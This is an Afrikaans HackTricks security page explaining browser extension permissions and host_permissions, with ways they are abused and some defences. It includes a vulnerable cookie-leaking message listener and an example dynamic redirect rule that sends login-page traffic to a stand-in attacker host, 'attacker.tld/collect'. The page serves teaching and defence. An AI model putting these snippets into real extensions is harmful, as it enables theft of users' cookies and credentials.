BrowExt - permissions & host_permissions

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

permissions

Permissions word in die uitbreiding se manifest.json-lêer gedefinieer met behulp van die permissions-eienskap en laat toegang toe tot feitlik alles waartoe ’n browser toegang het (Cookies or Physical Storage):

Die vorige manifest verklaar dat die uitbreiding die storage permission benodig. Dit beteken dat dit the storage API kan gebruik om sy data permanent te stoor. Anders as cookies of die localStorage APIs wat gebruikers ’n mate van beheer gee, kan uitbreidingstoorgang gewoonlik slegs uitgevee word deur die uitbreiding te deïnstalleer.

’n Uitbreiding sal die permissies wat in sy manifest.json-lêer aangedui is versoek. Nadat jy die uitbreiding geïnstalleer het, kan jy altyd sy permissies in jou browser nagaan, soos in hierdie beeld getoon:

Jy kan die complete list of permissions a Chromium Browser Extension can request here en ’n complete list for Firefox extensions here.

host_permissions

Die opsionele maar kragtige instelling host_permissions dui aan met watter hosts die uitbreiding via apis soos cookies, webRequest, en tabs kan interaksie hê.

Die volgende host_permissions laat basies alle webwerwe toe:

"host_permissions": [
"*://*/*"
]

// Or:
"host_permissions": [
"http://*/*",
"https://*/*"
]

// Or:
"host_permissions": [
"<all_urls>"
]

Dit is die gashere wat die blaaieruitbreiding vrylik kan benader. Dit is omdat wanneer ’n blaaieruitbreiding fetch("https://gmail.com/") aanroep, dit nie deur CORS beperk word nie.

Misbruik van permissions en host_permissions

Cookies

Die cookies permission laat die uitbreiding toe om toegang te hê tot al die cookies van die blaaier. In this blog post is hierdie toestemming misbruik deur ’n kwesbare agtergrondskrip om die blaaieruitbreiding te misbruik en die aanvaller al die cookies van die blaaier van die slagoffer wat die kwaadwillige webblad besoek het, te gee. Die kwesbare kode het net al die cookies teruggestuur:

chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
if (request.action == "getCookies") {
chrome.cookies.getAll({}, function(cookies) {
sendResponse({data: cookies});
});
}
return true;
}
);

Tabs

Boonop ontsluit host_permissions ook “gevorderde” tabs API funksionaliteit. Dit stel die extension in staat om tabs.query() aan te roep en nie net ’n lys van die gebruiker se blaaier-tabs terug te kry nie, maar ook te leer watter webblad (dus adres en titel) gelaai is.

Caution

Nie net dit nie — listeners soos tabs.onUpdated word ook veel nuttiger. Hierdie word ingelig elke keer wanneer ’n nuwe bladsy in ’n tab gelaai word.

Running content scripts

Content scripts is nie noodwendig staties in die extension-manifest geskryf nie. Met voldoende host_permissions kan extensions hulle ook dinamies laai deur tabs.executeScript() of scripting.executeScript().

Albei APIs laat toe om nie net lêers wat in die extension voorkom as content scripts uit te voer nie, maar ook arbitrêre kode. Die eerste laat toe om JavaScript-kode as ’n string te stuur, terwyl die laaste ’n JavaScript-funksie verwag wat minder vatbaar is vir injection vulnerabilities. Nog steeds, albei APIs kan groot skade aanrig as hulle misbruik word.

Caution

Benewens die bogenoemde vermoëns kan content scripts byvoorbeeld intercept credentials soos dit in webblaaie ingevoer word. ’n Ander klassieke misbruik is injecting advertising op elke webwerf. Om scam messages by nuuswebwerwe te voeg om geloofwaardigheid te misbruik is ook moontlik. Uiteindelik kan hulle manipulate banking webwerwe om geldoordragte te herlei.

Implicit privileges

Sommige uitbreidingsvoorregte moet nie eksplisiet verklaar word nie. ’n Voorbeeld is die tabs API: sy basiese funksionaliteit is beskikbaar sonder enige voorregte. Enige extension kan in kennis gestel word wanneer jy tabs oopmaak en toemaak; dit sal net nie weet watter webwerf daardie tabs ooreenstem nie.

Klink te onskuldig? Die tabs.create() API is minder so. Dit kan gebruik word om ’n nuwe tab te skep, feitlik dieselfde as window.open() wat deur enige webwerf aangeroep kan word. Tog, terwyl window.open() onderhewig is aan die pop-up blocker, tabs.create() nie.

Caution

’n Extension kan enige aantal tabs skep wanneer dit wil.

As jy na die moontlike tabs.create()-parameters kyk, sal jy ook opmerk dat sy vermoëns veel verder gaan as wat window.open() mag beheer. En terwyl Firefox nie toelaat dat data: URIs met hierdie API gebruik word nie, het Chrome nie so ’n beskerming nie. Gebruik van sulke URIs op die topvlak is verbode weens misbruik vir phishing.

tabs.update() is baie soortgelyk aan tabs.create() maar sal ’n bestaande tab wysig. Dus kan ’n kwaadwillige extension byvoorbeeld arbitrêr ’n advertensiebladsy in een van jou tabs laai, en dit ook as die aktiewe tab maak.

Webcam, geolocation and ander

Jy weet waarskynlik dat webwerwe spesiale toestemmings kan aanvra, bv. om jou webcam (video-konferensie-instrumente) of geografiese ligging (kaarte) te gebruik. Dit is funksies met aansienlike misbruikpotensiaal, daarom moet gebruikers elke keer bevestig dat hulle dit wil toelaat.

Caution

Nie so met browser extensions nie. As ’n browser extension wants access to your webcam or microphone, hoef dit net een keer toestemming te vra.

Typically sal ’n extension dit onmiddellik na installasie doen. Sodra hierdie prompt aanvaar is, is webcam access is moontlik te eniger tyd, selfs al interakteer die gebruiker nie met die extension op daardie oomblik nie. Ja, ’n gebruiker sal slegs hierdie prompt aanvaar as die extension regtig webcam-toegang nodig het. Maar daarna moet hulle die extension vertrou om niks stiekem op te neem nie.

Met toegang tot jou presiese geografiese ligging of die inhoud van jou clipboard is eksplisiete toestemming heeltemal onnodig. ’n Extension voeg eenvoudig geolocation of clipboard by die permissions entry van sy manifest. Hierdie toegangsvoorregte word dan implisiet toegeken wanneer die extension geïnstalleer word. Dus kan ’n kwaadwillige of gekompromitteerde extension met hierdie voorregte jou bewegingsprofiel skep of jou clipboard monitor vir gekopieerde wagwoorde sonder dat jy iets raakkerig.

Om die history sleutelwoord by die permissions entry van die extension-manifest te voeg gee toegang tot die history API. Dit laat toe om die gebruiker se hele blaaigeskiedenis in een keer te herwin, sonder om te wag dat die gebruiker daardie webwerwe weer besoek.

Die bookmarks permission het soortgelyke misbruikpotensiaal; dit laat toe om alle bookmarks uit te lees via die bookmarks API.

Stoor-toestemming

Die extension storage is bloot ’n sleutel-waarde versameling, baie soortgelyk aan localStorage wat enige webwerf kan gebruik. Dus behoort geen sensitiewe inligting hier gestoor te word nie.

Advertensie-maatskappye kan hierdie stoorplek egter ook misbruik.

Meer toestemmings

Manifest V3 het bladsytoegang van API-toestemmings geskei: permissions beheer steeds bevoorregte APIs (cookies, tabs, history, scripting, ens.) terwyl host_permissions beheer watter origins daardie APIs kan raak. MV3 het host permissions ook runtime‑grantable gemaak, sodat extensions sonder enige kan versend en later ’n toestemmingsprompt kan toon via chrome.permissions.request() — handig vir legit least‑privilege vloei, maar ook deur malware misbruik om te eskaleer nadat reputasie gevestig is.

’n Sluipende variant is declarativeNetRequestWithHostAccess (Chrome ≥96). Dit bied dieselfde versoek‑blokkeer/omlei‑krag as declarativeNetRequest, maar wys ’n swakker installasie‑prompt as <all_urls> host permissions. Kwaadwillige extensions gebruik dit om stilweg “blokkeer/omlei op enige site” vermoë te kry; toets prompts met chrome://extensions/?errors en chrome://extensions/?id=<id>.

declarativeNetRequest dinamiese reëls laat ’n extension toe om netwerkbeleid by runtime te herprogrammeer. Met <all_urls> host access kan ’n aanvaller dit weaponise om verkeer te kaap of data exfil te doen. Voorbeeld:

chrome.declarativeNetRequest.updateDynamicRules({
addRules: [{
id: 9001,
priority: 1,
action: {
type: "redirect",
redirect: { url: "https://attacker.tld/collect" }
},
condition: { urlFilter: "|http*://*/login", resourceTypes: ["main_frame"] }
}]
});

Chrome raised MV3 rule limits (≈330k static / 30k dynamic), so large coverage sets are feasible for interception/ads injection.

Onlangse misbruikpatrone

  • Supply-chain trojanized updates: Gesteelde developer-rekeninge push MV3-opdaterings wat <all_urls> plus declarativeNetRequest/scripting/webRequest byvoeg om remote JS te inject en headers/DOM content te siphon.
  • Wallet drains: Host toegang plus storage en tabs laat backdoored wallet extensions exfiltrate seeds; gesteelde Web Store API keys is gebruik om kwaadwillige builds te versprei.
  • Cookie theft: Enige extension met cookies + breë host toegang kan auth cookies lees ondanks HttpOnly—behandel daardie kombinasie as credential-stealing capable.

Voorkoming

Google se ontwikkelaarbeleid verbied uitdruklik dat extensions meer voorregte versoek as wat vir hul funksionaliteit nodig is, wat oormatige toestemmingversoeke effektief beperk. ’n Geval waarin ’n browser extension hierdie grens oorskry het, het betrokke die verspreiding daarvan saam met die browser self in plaas van deur ’n add-on store.

Browsers kan verder die misbruik van extension-privileges beperk. Byvoorbeeld, Chrome se tabCapture en desktopCapture APIs, gebruik vir skermopname, is ontwerp om misbruik te minimaliseer. Die tabCapture API kan slegs deur direkte gebruikerinteraksie geaktiveer word, soos om op die extension-ikoon te klik, terwyl desktopCapture gebruikersbevestiging vereis vir die venster wat opgeneem word, wat heimlike opnames voorkom.

Tog lei aanskerping van sekuriteitsmaatreëls dikwels tot verminderde buigbaarheid en gebruiker-vriendelikheid van extensions. Die activeTab permission illustreer hierdie afruil. Dit is bekendgestel om die behoefte te verwyder dat extensions host-privileges oor die hele internet moet versoek, deur extensions slegs toegang tot die huidige tab te gee na eksplisiete aktivering deur die gebruiker. Hierdie model werk goed vir extensions wat gebruiker-gedrewe aksies benodig, maar laat te kort skiet vir dié wat outomatiese of voorafgaande aksies benodig, en kompromitteer dus gerief en onmiddellike reaksietyd.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks